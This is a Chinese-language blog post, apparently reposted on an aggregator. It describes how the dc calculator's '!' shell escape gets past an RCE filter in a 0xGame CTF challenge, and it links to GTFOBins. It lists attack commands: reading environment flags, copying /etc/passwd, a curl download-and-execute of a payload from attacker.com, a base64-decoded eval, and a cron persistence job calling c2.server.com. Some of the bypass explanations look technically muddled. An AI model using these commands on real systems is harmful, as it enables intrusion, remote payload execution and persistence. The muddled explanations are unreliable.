当前位置: 首页 > news >正文

RCE绕过新思路:0xGame中dc计算器漏洞利用全解析(附GTFOBins实战指南)

RCE绕过新思路:dc计算器特性与GTFOBins实战指南

1. 理解dc计算器的独特价值

在Linux系统中,dc(desk calculator)是一款基于逆波兰表示法的命令行计算器工具。与常见的bc计算器不同,dc采用堆栈式运算逻辑,这种设计特性使其在特定场景下成为绕过RCE(远程代码执行)限制的绝佳跳板。

dc的核心特点包括:

  • 无字符串处理能力:原生不支持字符串类型,所有输入均视为数值或操作符
  • 堆栈操作模式:采用LIFO(后进先出)数据结构执行运算
  • 命令执行接口:通过!操作符可直接调用系统shell
  • 环境变量访问:支持通过特定语法读取系统变量
# 基础dc运算示例 echo "3 5 + p" | dc # 输出8

2. 0xGame中ez_rce题目的突破路径

分析题目环境时发现存在以下限制:

  • 过滤了常见命令分隔符(; & |)
  • 禁用引号等字符串标识符
  • 黑名单包含bash、sh等shell关键字

2.1 关键绕过技术

利用dc的数值处理特性构造payload:

114 1000 * 514 + p # 数学运算:114*1000 + 514 = 114514 !ls -al / # 通过!执行系统命令

技术要点

  1. 数值运算作为干扰因子绕过关键字检测
  2. !操作符后的命令不会被解析为字符串
  3. 堆栈操作天然规避命令拼接检测

2.2 环境变量读取技巧

当需要获取敏感信息时:

# 通过系统变量获取信息 !echo $PATH !env | grep FLAG

3. GTFOBins工具库的实战应用

GTFOBins(https://gtfobins.github.io/)收录了大量可用于权限提升和绕过限制的合法工具技巧。

3.1 常用功能模块

功能类别代表命令适用场景
文件操作!cp /etc/passwd .敏感文件复制
进程查看!ps aux系统进程分析
网络探测!netstat -tulnp端口与服务识别
权限提升!sudo -l检查sudo权限

3.2 典型利用链构造

# 分步执行复杂操作 114514 p # 干扰数值 !mkdir -p /tmp/exploit !cp /challenge/* /tmp/exploit !cd /tmp/exploit && ./vulnerable_bin

4. 高级绕过技术精要

4.1 多进制混合运算

利用dc支持的多进制特性构造非常规payload:

# 八进制表示法 echo "8o 114 514 + p" | dc # 输出八进制结果 # 十六进制运算 echo "16i BFEB p" | dc # 将BFEB从16进制转为10进制

4.2 堆栈操作与命令组合

通过堆栈操作实现复杂逻辑:

# 条件判断实现 echo "[shell命令]sx 1 0 =x" | dc # 当1=0时执行命令(实际不执行) echo "[shell命令]sx 1 1 =x" | dc # 条件成立时执行

5. 防御对策与检测方案

针对此类攻击,防御方应考虑:

  1. 输入过滤增强

    • 禁用!操作符
    • 限制dc的寄存器操作
    • 监控异常数值参数
  2. 环境加固

    # 限制dc权限 chmod 750 /usr/bin/dc setfacl -Rm u:www-data:- /usr/bin/dc
  3. 日志监控规则

    # auditd规则示例 -a always,exit -F path=/usr/bin/dc -F perm=x -F auid>=1000 -F auid!=4294967295 -k dc_exec

6. 实战案例扩展

通过dc实现文件下载:

# 下载远程payload !curl http://attacker.com/exp.sh -o /tmp/exp !chmod +x /tmp/exp !/tmp/exp

环境变量注入技巧:

# 通过环境变量传递参数 !export PAYLOAD=$(echo "YmFzaC..." | base64 -d) !eval $PAYLOAD

7. 工具链整合建议

建议将dc技巧与其他工具结合使用:

  1. 与SQLite配合

    !sqlite3 /var/www/db.sqlite "SELECT * FROM users"
  2. 网络探测组合

    !python3 -c 'import socket; socket.create_connection(("127.0.0.1", 22))'
  3. 权限维持技术

    !echo '* * * * * curl http://c2.server.com/update' | crontab -

掌握dc计算器的特性利用方法,能为安全研究人员提供全新的测试视角,同时也提醒防御方需要关注非常规工具的潜在风险。建议在合法授权范围内实践这些技术,并持续关注GTFOBins等资源的最新更新。

http://www.jsqmd.com/news/621228/

相关文章:

  • 全自动铺布机选购指南:核心指标与品牌实力评估
  • ESP32轻量级Sonos控制库:UPnP协议嵌入式实现
  • 保姆级教程:用Python+Pytorch复现MSCNN-1D模型,搞定CWRU轴承故障诊断(附完整代码)
  • 小程序黑白棋AI:从零实现一个简单的游戏AI
  • Android逆向实战:火柴人联盟v1.14.1去广告与内购破解全流程解析(附smali修改技巧)
  • arcgis在1:500cass中的应用
  • Cinema 4D 手指关节绑定实战:从模型导入到动画控制
  • ingress在一个网站下部署两个前端项目,通过路由前缀区分
  • 2026年热门的地磅/防爆地磅优质厂家汇总推荐 - 品牌宣传支持者
  • 保姆级教程:在Vivado 2023.1中手把手配置Xilinx 7系列FPGA的PCIe硬核IP
  • QT开发避坑:QSlider滑块值变化处理的两种方式,别再只用valueChanged了
  • TimeKAN:基于频率分解的时间序列预测新范式,ICLR 2025亮点解析
  • MCP 实践(二)Streamable HTTP:统一端点与动态流式传输的架构演进
  • GD32单片机低功耗模式深度解析:从理论到源码实战
  • 2026Q2精密非标定制塑料成型机怎么选:精密非标定制塑料成型机/连续式挤压成型机/非标塑料成型机/高速吸塑机/选择指南 - 优质品牌商家
  • texlive环境下实现times字体的一个组合命令
  • 5分钟解锁B站缓存视频:m4s-converter让你的收藏永不消失
  • 2026年家用浴花合规生产企业盘点:变色浴花/四色浴球/四色浴花/回弹压缩沙发/多功能压缩沙发/多色浴花/大号浴球/选择指南 - 优质品牌商家
  • Celery 实战解析:构建高效Python分布式任务队列系统
  • 用Wireshark抓包,带你亲历OSPF邻居从‘相亲’到‘结婚’的7个状态
  • Langchain项目实战:用PostgreSQL的PGVector插件存向量,比专用向量数据库省了多少钱?
  • 2026年320千瓦充电桩厂家排行:充电桩那个牌子好/充电桩销售/充电桩销售/充电站投建/兆瓦充电桩/兆瓦充电桩/选择指南 - 优质品牌商家
  • 多功能空调控制系统的设计(有完整资料)
  • YOLOv5实战:无人机巡检图片差异对比与违建标记(附完整代码)
  • Tauri 2.0 Shell插件避坑指南:预设参数覆盖、权限配置与Command.create的正确姿势
  • Redis 实现接口幂等性的三种高效策略
  • ESMFold:如何用150亿参数语言模型重塑蛋白质结构预测格局
  • 企业自托管工具推荐:数据完全掌控的20+款软件
  • 无线通信-3GPP-3gpp文档高效检索与下载指南
  • 2026年主流App内测分发方案深度对比